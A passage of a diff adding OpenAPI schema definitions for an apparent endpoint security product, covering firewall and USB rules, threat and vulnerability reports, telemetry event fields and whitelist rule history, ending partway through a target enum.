+  UpdateFIMReport:
+    properties:
+      status:
+        enum:
+          - accepted
+          - rejected
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  UpdateFIMReportByAgent:
+    properties:
+      agent_id:
+        minLength: 1
+        title: Agent id
+        type: string
+      status:
+        enum:
+          - accepted
+          - rejected
+        title: Status
+        type: string
+    required:
+      - agent_id
+      - status
+    type: object
+  UpdateFIMReportByPath:
+    properties:
+      agg_key:
+        minLength: 1
+        title: Agg key
+        type: string
+      status:
+        enum:
+          - accepted
+          - rejected
+        title: Status
+        type: string
+    required:
+      - agg_key
+      - status
+    type: object
+  UpdateFirewallNetwork:
+    properties:
+      blocks:
+        items:
+          $ref: '#/definitions/FirewallNetworkBlock'
+        type: array
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+    type: object
+  UpdateFirewallPolicy:
+    properties:
+      default_profile_id:
+        format: uuid
+        title: Default profile id
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      network_to_profile:
+        items:
+          $ref: '#/definitions/ProfileToNetworkId'
+        type: array
+        x-nullable: true
+    required:
+      - default_profile_id
+      - name
+      - network_to_profile
+    type: object
+  UpdateFirewallRule:
+    properties:
+      action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      direction:
+        enum:
+          - Both
+          - In
+          - Out
+        title: Direction
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      ip_version:
+        enum:
+          - Both
+          - IPv4
+          - IPv6
+        title: Ip version
+        type: string
+      local_application:
+        maxLength: 256
+        title: Local application
+        type: string
+        x-nullable: true
+      local_ip:
+        $ref: '#/definitions/FirewallIp'
+      local_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+        x-nullable: true
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      protocol:
+        enum:
+          - ICMP
+          - IPV6_ICMP
+          - TCP
+          - UDP
+        title: Protocol
+        type: string
+        x-nullable: true
+      remote_ip:
+        $ref: '#/definitions/FirewallIp'
+      remote_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+        x-nullable: true
+    required:
+      - local_ip
+      - local_ports
+      - remote_ip
+      - remote_ports
+    type: object
+  UpdateLevelThreat:
+    properties:
+      new_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        title: New level
+        type: string
+      threat_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      update_by_query:
+        title: Update by query
+        type: boolean
+    required:
+      - new_level
+      - threat_ids
+      - update_by_query
+    type: object
+  UpdatePolicy:
+    properties:
+      policy_ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - policy_ids
+    type: object
+  UpdatePolicyGroup:
+    properties:
+      policy_id:
+        minLength: 1
+        title: Policy id
+        type: string
+    type: object
+  UpdateRulesetSource:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      new_rule_actions:
+        $ref: '#/definitions/Actions'
+      new_rule_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      set_default:
+        default: false
+        title: Set default
+        type: boolean
+      set_new_rule_default:
+        default: false
+        title: Set new rule default
+        type: boolean
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+    type: object
+  UpdateStatusThreat:
+    properties:
+      new_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        title: New status
+        type: string
+      tag_security_events:
+        default: false
+        title: Tag security events
+        type: boolean
+      threat_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      update_by_query:
+        title: Update by query
+        type: boolean
+    required:
+      - new_status
+      - threat_ids
+      - update_by_query
+    type: object
+  UpdateUsbRule:
+    properties:
+      action:
+        enum:
+          - allow
+          - block
+        title: Action
+        type: string
+      base_classes:
+        items:
+          $ref: '#/definitions/BaseClass'
+        type: array
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_type:
+        enum:
+          - external
+          - internal
+          - unknown
+        title: Device type
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      index:
+        readOnly: true
+        title: Index
+        type: integer
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      rule_creation_type:
+        enum:
+          - class
+          - custom
+          - serial_number
+          - simple
+          - vendor_product
+        title: Rule creation type
+        type: string
+      serial_numbers:
+        items:
+          maxLength: 256
+          minLength: 1
+          type: string
+          x-nullable: true
+        type: array
+      vendor_products:
+        items:
+          $ref: '#/definitions/VendorProductIDs'
+        type: array
+    required:
+      - base_classes
+      - name
+      - rule_creation_type
+    type: object
+  UpdateVulnerabilityPolicy:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  UpdateVulnerabilityReport:
+    properties:
+      status:
+        enum:
+          - not reviewed
+          - reviewed
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  UpgradeTaskResult:
+    properties:
+      date_created:
+        description: Datetime field when the task result was created in UTC
+        format: date-time
+        readOnly: true
+        title: Created DateTime
+        type: string
+      date_done:
+        description: Datetime field when the task was completed in UTC
+        format: date-time
+        readOnly: true
+        title: Completed DateTime
+        type: string
+      filename:
+        readOnly: true
+        title: Filename
+        type: string
+        x-nullable: true
+      result:
+        description: The data returned by the task.  Use content_encoding and content_type fields to read.
+        minLength: 1
+        readOnly: true
+        title: Result Data
+        type: string
+        x-nullable: true
+      status:
+        description: Current state of the task being run
+        enum:
+          - FAILURE
+          - PENDING
+          - RECEIVED
+          - RETRY
+          - REVOKED
+          - STARTED
+          - SUCCESS
+        title: Task State
+        type: string
+      task_args:
+        description: JSON representation of the positional arguments used with the task
+        minLength: 1
+        title: Task Positional Arguments
+        type: string
+        x-nullable: true
+      task_id:
+        description: Celery ID for the Task that was run
+        maxLength: 255
+        minLength: 1
+        title: Task ID
+        type: string
+    required:
+      - task_id
+    type: object
+  UpgradeTaskResultList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      latest:
+        $ref: '#/definitions/UpgradeTaskResult'
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/UpgradeTaskResult'
+        type: array
+    required:
+      - count
+      - latest
+      - results
+    type: object
+  UrlRequest:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      host:
+        minLength: 1
+        title: Host
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      method:
+        minLength: 1
+        title: Method
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      port:
+        title: Port
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      query_params:
+        minLength: 1
+        title: Query params
+        type: string
+      scheme:
+        minLength: 1
+        title: Scheme
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      url:
+        minLength: 1
+        title: Url
+        type: string
+      user_agent:
+        minLength: 1
+        title: User agent
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - host
+      - id
+      - log_type
+      - method
+      - password
+      - path
+      - port
+      - process_image_path
+      - process_unique_id
+      - query_params
+      - scheme
+      - tenant
+      - url
+      - user_agent
+      - username
+      - utc_time
+    type: object
+  UsbRule:
+    properties:
+      action:
+        enum:
+          - allow
+          - block
+        title: Action
+        type: string
+      base_classes:
+        items:
+          $ref: '#/definitions/BaseClass'
+        type: array
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_type:
+        enum:
+          - external
+          - internal
+          - unknown
+        title: Device type
+        type: string
+      emplace_at_front:
+        default: false
+        title: Emplace at front
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      index:
+        readOnly: true
+        title: Index
+        type: integer
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policy_id:
+        format: uuid
+        title: Policy id
+        type: string
+      rule_creation_type:
+        enum:
+          - class
+          - custom
+          - serial_number
+          - simple
+          - vendor_product
+        title: Rule creation type
+        type: string
+      serial_numbers:
+        items:
+          maxLength: 256
+          minLength: 1
+          type: string
+          x-nullable: true
+        type: array
+      vendor_products:
+        items:
+          $ref: '#/definitions/VendorProductIDs'
+        type: array
+    required:
+      - name
+      - policy_id
+      - rule_creation_type
+    type: object
+  UsbRuleDuplication:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  UserAppSettings:
+    properties:
+      app_settings:
+        title: App settings
+        type: object
+    type: object
+  UserEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      new_user_name:
+        minLength: 1
+        title: New user name
+        type: string
+      operation_type:
+        minLength: 1
+        title: Operation type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      source_domain_name:
+        minLength: 1
+        title: Source domain name
+        type: string
+      source_user_id:
+        minLength: 1
+        title: Source user id
+        type: string
+      source_user_name:
+        minLength: 1
+        title: Source user name
+        type: string
+      target_domain_name:
+        minLength: 1
+        title: Target domain name
+        type: string
+      target_user_id:
+        minLength: 1
+        title: Target user id
+        type: string
+      target_user_name:
+        minLength: 1
+        title: Target user name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      windows:
+        $ref: '#/definitions/UserEventWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - id
+      - log_type
+      - new_user_name
+      - operation_type
+      - source_domain_name
+      - source_user_id
+      - source_user_name
+      - target_domain_name
+      - target_user_id
+      - target_user_name
+      - tenant
+      - windows
+    type: object
+  UserEventWindows:
+    properties:
+      account_expires:
+        minLength: 1
+        title: Account expires
+        type: string
+      allowed_to_delegate_to:
+        minLength: 1
+        title: Allowed to delegate to
+        type: string
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      home_directory:
+        minLength: 1
+        title: Home directory
+        type: string
+      home_path:
+        minLength: 1
+        title: Home path
+        type: string
+      logon_hours:
+        minLength: 1
+        title: Logon hours
+        type: string
+      new_uac_value:
+        minLength: 1
+        title: New uac value
+        type: string
+      old_uac_value:
+        minLength: 1
+        title: Old uac value
+        type: string
+      password_last_set:
+        minLength: 1
+        title: Password last set
+        type: string
+      primary_group_id:
+        minLength: 1
+        title: Primary group id
+        type: string
+      privilege_list:
+        minLength: 1
+        title: Privilege list
+        type: string
+      profile_path:
+        minLength: 1
+        title: Profile path
+        type: string
+      sam_account_name:
+        minLength: 1
+        title: Sam account name
+        type: string
+      script_path:
+        minLength: 1
+        title: Script path
+        type: string
+      sid_history:
+        minLength: 1
+        title: Sid history
+        type: string
+      source_logon_id:
+        title: Source logon id
+        type: integer
+      user_account_control:
+        minLength: 1
+        title: User account control
+        type: string
+      user_parameters:
+        minLength: 1
+        title: User parameters
+        type: string
+      user_principal_name:
+        minLength: 1
+        title: User principal name
+        type: string
+      user_workstations:
+        minLength: 1
+        title: User workstations
+        type: string
+    required:
+      - account_expires
+      - allowed_to_delegate_to
+      - display_name
+      - home_directory
+      - home_path
+      - logon_hours
+      - new_uac_value
+      - old_uac_value
+      - password_last_set
+      - primary_group_id
+      - privilege_list
+      - profile_path
+      - sam_account_name
+      - script_path
+      - sid_history
+      - source_logon_id
+      - user_account_control
+      - user_parameters
+      - user_principal_name
+      - user_workstations
+    type: object
+  UserLogin:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      host_ip:
+        minLength: 1
+        title: Host ip
+        type: string
+      host_kernel:
+        minLength: 1
+        title: Host kernel
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      login_time:
+        format: date-time
+        title: Login time
+        type: string
+      pid:
+        title: Pid
+        type: integer
+      session_id:
+        minLength: 1
+        title: Session id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      terminal_suffix:
+        minLength: 1
+        title: Terminal suffix
+        type: string
+      tty_id:
+        minLength: 1
+        title: Tty id
+        type: string
+      user_status:
+        minLength: 1
+        title: User status
+        type: string
+      userlogin_type:
+        minLength: 1
+        title: Userlogin type
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - host_ip
+      - host_kernel
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - login_time
+      - pid
+      - session_id
+      - tenant
+      - terminal_suffix
+      - tty_id
+      - user_status
+      - userlogin_type
+      - username
+    type: object
+  UserMFAMethod:
+    properties:
+      is_primary:
+        title: Is primary
+        type: boolean
+      name:
+        maxLength: 255
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  UsersList:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - ids
+    type: object
+  VendorProductIDs:
+    properties:
+      product_id:
+        title: Product id
+        type: string
+        x-nullable: true
+      vendor_id:
+        title: Vendor id
+        type: string
+        x-nullable: true
+    type: object
+  VerifyResetTokenResponse:
+    properties:
+      error:
+        minLength: 1
+        title: Error
+        type: string
+      expires_at:
+        format: date-time
+        title: Expires at
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      valid:
+        title: Valid
+        type: boolean
+    required:
+      - valid
+    type: object
+  VersionUpdateData:
+    properties:
+      final_version:
+        $ref: '#/definitions/VersionUpdateDataVersion'
+      from_version:
+        $ref: '#/definitions/VersionUpdateDataVersion'
+      result:
+        enum:
+          - fail_create_file
+          - fail_download
+          - fail_other
+          - fail_signature
+          - fail_upgrade_didnt_change_version
+          - fail_upgrade_process
+          - fail_write_file
+          - success
+          - unknown
+        title: Result
+        type: string
+    required:
+      - final_version
+      - from_version
+      - result
+    type: object
+  VersionUpdateDataVersion:
+    properties:
+      major:
+        minimum: 0
+        title: Major
+        type: integer
+      minor:
+        minimum: 0
+        title: Minor
+        type: integer
+      patch:
+        minimum: 0
+        title: Patch
+        type: integer
+      suffix:
+        minLength: 1
+        title: Suffix
+        type: string
+        x-nullable: true
+    required:
+      - major
+      - minor
+      - patch
+      - suffix
+    type: object
+  VirusTotal:
+    properties:
+      permalink:
+        minLength: 1
+        title: Permalink
+        type: string
+      positives:
+        title: Positives
+        type: integer
+      report_found:
+        title: Report found
+        type: boolean
+      request_date:
+        format: date-time
+        title: Request date
+        type: string
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
+      scans:
+        items:
+          $ref: '#/definitions/VirusTotalScan'
+        type: array
+      score:
+        description: Percentage of detection (positive/total) * 100
+        title: Score
+        type: integer
+      total:
+        title: Total
+        type: integer
+    required:
+      - permalink
+      - positives
+      - report_found
+      - request_date
+      - scan_date
+      - scans
+      - score
+      - total
+    type: object
+  VirusTotalScan:
+    properties:
+      av_name:
+        minLength: 1
+        title: Av name
+        type: string
+      detected:
+        title: Detected
+        type: boolean
+      result:
+        minLength: 1
+        title: Result
+        type: string
+      update:
+        format: date-time
+        title: Update
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - av_name
+      - detected
+      - result
+      - update
+      - version
+    type: object
+  VulnerabilityAgent:
+    properties:
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+        x-nullable: true
+      groups:
+        items:
+          type: string
+        type: array
+        uniqueItems: true
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      lastseen:
+        format: date-time
+        title: Lastseen
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+        x-nullable: true
+    required:
+      - groups
+    type: object
+  VulnerabilityKpisDistribution:
+    properties:
+      nb_vulns_with_score_0_1:
+        title: Nb vulns with score 0 1
+        type: integer
+      nb_vulns_with_score_1_2:
+        title: Nb vulns with score 1 2
+        type: integer
+      nb_vulns_with_score_2_3:
+        title: Nb vulns with score 2 3
+        type: integer
+      nb_vulns_with_score_3_4:
+        title: Nb vulns with score 3 4
+        type: integer
+      nb_vulns_with_score_4_5:
+        title: Nb vulns with score 4 5
+        type: integer
+      nb_vulns_with_score_5_6:
+        title: Nb vulns with score 5 6
+        type: integer
+      nb_vulns_with_score_6_7:
+        title: Nb vulns with score 6 7
+        type: integer
+      nb_vulns_with_score_7_8:
+        title: Nb vulns with score 7 8
+        type: integer
+      nb_vulns_with_score_8_9:
+        title: Nb vulns with score 8 9
+        type: integer
+      nb_vulns_with_score_9_10:
+        title: Nb vulns with score 9 10
+        type: integer
+    required:
+      - nb_vulns_with_score_0_1
+      - nb_vulns_with_score_1_2
+      - nb_vulns_with_score_2_3
+      - nb_vulns_with_score_3_4
+      - nb_vulns_with_score_4_5
+      - nb_vulns_with_score_5_6
+      - nb_vulns_with_score_6_7
+      - nb_vulns_with_score_7_8
+      - nb_vulns_with_score_8_9
+      - nb_vulns_with_score_9_10
+    type: object
+  VulnerabilityPolicyName:
+    properties:
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  VulnerabilityReportCountAgentsGraphCounts:
+    properties:
+      count:
+        title: Count
+        type: integer
+      ostype:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Ostype
+        type: string
+    required:
+      - count
+      - ostype
+    type: object
+  VulnerabilityReportCountCveGraphCounts:
+    properties:
+      count:
+        title: Count
+        type: integer
+      severity:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+          - none
+        title: Severity
+        type: string
+    required:
+      - count
+      - severity
+    type: object
+  VulnerabilityReportCountOverTimeAgentsGraphResponse:
+    properties:
+      counts:
+        items:
+          $ref: '#/definitions/VulnerabilityReportCountAgentsGraphCounts'
+        type: array
+      date:
+        format: date
+        title: Date
+        type: string
+    required:
+      - counts
+      - date
+    type: object
+  VulnerabilityReportCountOverTimeCveGraphResponse:
+    properties:
+      counts:
+        items:
+          $ref: '#/definitions/VulnerabilityReportCountCveGraphCounts'
+        type: array
+      date:
+        format: date
+        title: Date
+        type: string
+    required:
+      - counts
+      - date
+    type: object
+  VulnerabilityReportCvesListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/VulnerabilityReportVulnerabilities'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  VulnerabilityReportVulnerabilities:
+    properties:
+      agent:
+        $ref: '#/definitions/VulnerabilityAgent'
+      cve:
+        $ref: '#/definitions/Cve'
+      vulnerable_installations:
+        items:
+          $ref: '#/definitions/VulnerableInstallationReport'
+        type: array
+    required:
+      - agent
+      - cve
+      - vulnerable_installations
+    type: object
+  VulnerabilityReports:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      nb_critical_level:
+        title: Nb critical level
+        type: integer
+      nb_cves:
+        title: Nb cves
+        type: integer
+      nb_endpoints:
+        title: Nb endpoints
+        type: integer
+      nb_high_level:
+        title: Nb high level
+        type: integer
+      nb_low_level:
+        title: Nb low level
+        type: integer
+      nb_medium_level:
+        title: Nb medium level
+        type: integer
+      nb_vulnerabilities:
+        title: Nb vulnerabilities
+        type: integer
+      report_date:
+        format: date
+        title: Report date
+        type: string
+      status:
+        enum:
+          - not reviewed
+          - reviewed
+        title: Status
+        type: string
+    required:
+      - id
+      - name
+      - nb_critical_level
+      - nb_cves
+      - nb_endpoints
+      - nb_high_level
+      - nb_low_level
+      - nb_medium_level
+      - nb_vulnerabilities
+      - report_date
+      - status
+    type: object
+  VulnerabilityScanResultByAgent:
+    properties:
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+        x-nullable: true
+      groups:
+        items:
+          type: string
+        type: array
+        uniqueItems: true
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      lastseen:
+        format: date-time
+        title: Lastseen
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+        x-nullable: true
+      vuln_count:
+        readOnly: true
+        title: Vuln count
+        type: integer
+      vuln_count_critical:
+        readOnly: true
+        title: Vuln count critical
+        type: integer
+      vuln_count_high:
+        readOnly: true
+        title: Vuln count high
+        type: integer
+      vuln_count_low:
+        readOnly: true
+        title: Vuln count low
+        type: integer
+      vuln_count_medium:
+        readOnly: true
+        title: Vuln count medium
+        type: integer
+    required:
+      - groups
+    type: object
+  VulnerabilityScanResultByAgentListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/VulnerabilityScanResultByAgent'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  VulnerableApplicationWithCountAggregation:
+    properties:
+      highest_score:
+        title: Highest score
+        type: number
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      nb_critical_level:
+        title: Nb critical level
+        type: integer
+      nb_cves:
+        title: Nb cves
+        type: integer
+      nb_endpoints:
+        title: Nb endpoints
+        type: integer
+      nb_high_level:
+        title: Nb high level
+        type: integer
+      nb_low_level:
+        title: Nb low level
+        type: integer
+      nb_medium_level:
+        title: Nb medium level
+        type: integer
+      nb_vulnerabilities:
+        title: Nb vulnerabilities
+        type: integer
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      publisher:
+        minLength: 1
+        title: Publisher
+        type: string
+    required:
+      - highest_score
+      - id
+      - name
+      - nb_critical_level
+      - nb_cves
+      - nb_endpoints
+      - nb_high_level
+      - nb_low_level
+      - nb_medium_level
+      - nb_vulnerabilities
+      - ostype
+      - publisher
+    type: object
+  VulnerableInstallationReport:
+    properties:
+      application_id:
+        format: uuid
+        title: Application id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - application_id
+      - name
+      - version
+    type: object
+  Wdigest:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      int_value:
+        title: Int value
+        type: integer
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - id
+      - int_value
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - timestamp
+    type: object
+  WhitelistMassDelete:
+    properties:
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - ids
+    type: object
+  WhitelistMassToggle:
+    properties:
+      enabled:
+        title: Enabled
+        type: boolean
+      ids:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - enabled
+      - ids
+    type: object
+  WhitelistRuleCriteriaSnapshot:
+    properties:
+      case_insensitive:
+        default: false
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        readOnly: true
+        title: Field
+        type: string
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        readOnly: true
+        title: Operator
+        type: string
+      sub_criteria:
+        items:
+          $ref: '#/definitions/WhitelistRuleSubCriterionSnapshot'
+        type: array
+      value:
+        title: Value
+        type: string
+    type: object
+  WhitelistRuleHistoryRecord:
+    properties:
+      action:
+        enum:
+          - created
+          - edited
+          - expired
+          - remove_expiration_date
+          - retroactive_action_cancelled
+          - set_expiration_date
+          - toggled
+        readOnly: true
+        title: Action
+        type: string
+      cancelled_action_timestamp:
+        format: date-time
+        readOnly: true
+        title: Cancelled action timestamp
+        type: string
+        x-nullable: true
+      is_cancelled:
+        readOnly: true
+        title: Is cancelled
+        type: boolean
+      is_retroactive_application:
+        readOnly: true
+        title: Is retroactive application
+        type: boolean
+      security_event_from_status:
+        minLength: 1
+        readOnly: true
+        title: Security event from status
+        type: string
+        x-nullable: true
+      security_event_new_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+        readOnly: true
+        title: Security event new status
+        type: string
+        x-nullable: true
+      security_event_tagged_count:
+        readOnly: true
+        title: Security event tagged count
+        type: integer
+      snapshot:
+        $ref: '#/definitions/WhitelistRuleSnapshot'
+      timestamp:
+        format: date-time
+        readOnly: true
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        readOnly: true
+        title: Username
+        type: string
+    type: object
+  WhitelistRuleSnapshot:
+    properties:
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        readOnly: true
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        readOnly: true
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      criteria:
+        items:
+          $ref: '#/definitions/WhitelistRuleCriteriaSnapshot'
+        type: array
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        readOnly: true
+        title: Expiration date
+        type: string
+        x-nullable: true
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      sigma_rule_id:
+        minLength: 1
+        readOnly: true
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
